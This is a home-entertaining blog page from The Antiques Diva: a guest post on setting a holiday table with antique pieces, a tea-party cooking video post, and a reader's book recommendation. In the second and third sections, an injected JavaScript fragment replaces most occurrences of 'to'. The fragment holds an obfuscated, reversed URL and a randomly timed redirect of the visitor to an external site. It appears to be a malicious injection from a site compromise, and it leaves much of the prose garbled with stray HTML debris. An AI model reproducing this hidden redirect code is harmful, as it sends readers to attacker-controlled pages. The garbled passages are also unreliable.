Entertaining with Andrew Skipper

Meet My Colleague Andrew Skipper

My colleague Andrew Skipper & I have spent countless dinners discussing Diva Business and just simply drinking too much wine over long lingering meals. Our friendship has been formed around the table… and one of the things I love most is when he is visiting me at my house in Berlin. I make dinner and he whisks open my cupboards and takes it upon himself to set my table. He always pulls dishes I’ve forgotten I had out of the back corners and sets a stunning table. As we embark upon the holiday season I asked Andrew to share with you a few of his tips for setting a table for the holiday season.

Toma Clark Haines, The Antiques Diva™

Andrew Skipper
Photo by Anderson Photography

Growing up, we always sat down for family dinners together. Even with conflicting schedules, dinner time was an important part of the day to reconnect with each other. As the oldest child, it was my responsibility to set the table each evening. Perhaps it is because of this that I still set a table every day, even if I’m dining alone. There is something dignified about laying out the place setting, folding the napkins, arranging the stemware just so. Partaking in this tradition grounds me. It also challenges me, in an enjoyable way, as I come up with fresh ways to mix china patterns and create beautiful, although often simple, centerpieces. With Thanksgiving, the most anticipated meal of the year for most Americans, just days away, allow me to share my table which incorporates European antiques (some sourced on Antiques Diva Tours), and a sense of holiday festivity. After all, it’s not just about the food, as presentation plays a very important factor in creating a warm atmosphere for loved ones.

Andrew Skipper Entertaining

Andrew Skipper Entertaining

I took inspiration from a vintage black and gold tole French cachepot I recently purchased. I decided that the entire scheme would be gold, black, silver, and red. This time of year especially, I love lots of red roses in the house, so a simple mound of them fills the cachepot. I chose vibrant red napkins to complement the flowers along with black faux bois patterned placemats to ground each place setting. For place card holders, I used little brass swans that I picked up at a flea market in Belgium with The Antiques Diva. i also used antique silver fox knife rests that I purchased in Berlin. Adding to the menagerie of animal figures, a pair of vintage silver peacocks, found at Portobello Market in London, survey the table from either side of the centerpiece. Since no dinner table is complete without candlelight, I opted for a pair of English antique brass candlesticks with paw feet.

Andrew Skipper Entertaining

Simple white dinner plates with a basket weave patterned rim rest on gold chargers and are topped by black and white toile patterned salad plates. The flatware is Ralph Lauren and the stemware is a mixture of antique and new. I always keep a bottle of bubbly on hand, so for this table, I decided to bring out my vintage champagne bucket I bought in Belgium. After all, the holidays are the perfect time to raise up a glass and toast the many blessings we have. Wishing you all a very happy holiday season!

Cheers,

Andrew Skipper

Diva News Network with Special Guest: Chef in Berlin – Making Tea Time Treats

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 400px; CURSOR: hand; HEIGHT: 300px; TEXT-ALIGN: center” alt=”” src=”http://2.bp.blogspot.com/_kcTb8DnPVW4/TBokKogbfcI/AAAAAAAAE5o/yi050bGkomM/s400/003.JPG” border=”0″ />Dear Diva Readers,

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top:2px;padding-right:5px;font-family:times;”>In this special Diva News Network I invited my good friend Jill DiGiovanni toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be a special guest on DNN! Together we’re going toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to show you some behind the scenes details on preparing some super simple recipes for doing an Afternoon Tea Party – Diva Style! Jill is the brains and beauty behind the international cooking school (and exclusive caterer) Chef in Berlin.

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 400px; CURSOR: hand; HEIGHT: 354px; TEXT-ALIGN: center” alt=”” src=”http://4.bp.blogspot.com/_kcTb8DnPVW4/TBokLieRA_I/AAAAAAAAE6A/KKWEU5voV1A/s400/230.JPG” border=”0″ />What I love about Jill’s classes is how simple she makes entertaining and now – whether you’re here in Berlin or at home across the pond – you can benefit from Jill’s gourmet knowledge as she shares on DNN secret hints and tips on how toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to cheat in the kitchen. From preparing simple tea sandwiches toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a dazzling dessert – no one would ever know it’s down-right easy toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to prepare!

Diva News Network with Special Guest Chef in Berlin

Of course, this video is only the tip of the iceberg! Want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to find out how toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to make those other 2 treats you see on our tray? Watch Two More Additional “Chef in Berlin” Videos:

Beet & Goat Cheese Tea Time Sandwiches

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Salmon Mousse and Caviar Puff Pastry


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Happy Entertaining!

The Antiques Diva™

(Photoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Credit Right: CrissCross)

PS. I’d love toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to see how you entertain! Send me some pictures toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to post on my site of your next tea party! toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toma@antiquesdiva.com

Freakin’ Fabulous – Reader’s Tip

Dear Diva,

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top:2px;padding-right:5px;font-family:times;”>I wanted your readers toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to know that I just got a really fun book this week. It’s called “Freakin’ Fabulous” (How toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Dress, Speak, Behave, Eat, Drink, Entertain, Decorate and Generally Be Better Than Everyone Else) by Clintoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton Kelly.

He has some GREAT tips but does it in such a way that it’s really entertaining reading. It has article titles such as “What’s the one trick that will slim down your entire silhouette and make your ta-tas look va-va-voom?’ and “How do you eat an oyster without getting kicked out of the best restaurant in toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}town?” I think my favorite title though is “Even the prettiest ducks can be ferocious”.

The book is really a hoot! If you get a chance, check it out!

The Contessa